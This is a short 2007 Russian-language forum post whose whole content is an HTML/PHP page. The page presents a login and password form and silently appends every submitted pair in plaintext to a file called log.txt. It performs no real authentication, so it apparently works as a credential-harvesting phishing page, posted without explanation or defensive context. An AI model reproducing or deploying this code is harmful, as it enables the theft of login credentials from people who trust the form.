
02.10.2007, 15:55
|
|
Постоянный
Регистрация: 05.07.2006
Сообщений: 458
Провел на форуме: 2943499
Репутация:
807
|
|
Код:
<html>
<head>
<title>сохранение</title>
</head>
<body>
<table width="40%" align="center" border="0" cellspacing="5" cellpadding="0">
<tr>
<td height="120">
<form name="sender" method="post" action="?send">
<b>Логин</b><br><input type="text" name="login" size="50"><br>
<b>Пароль</b><br><input type="text" name="pass" size="50"><br>
<br><br>
<input type="submit" name="submit" value="Отправить"> <input type="reset" name="reset" value="Очистить">
</form>
</table>
<?php
if ($QUERY_STRING=="send"):
global $login, $pass;
$dateformat = "H:i d.m.y";
$date = date($dateformat);
$file = fopen('log.txt', "a+") or die ("Cannot open the file");
fwrite($file, $login."::".$pass."\r\n") or die ("Cannot write into the file");
fclose($file);
endif;
?>
</body>
</html>
Последний раз редактировалось freddi; 02.10.2007 в 16:31..
|
|
|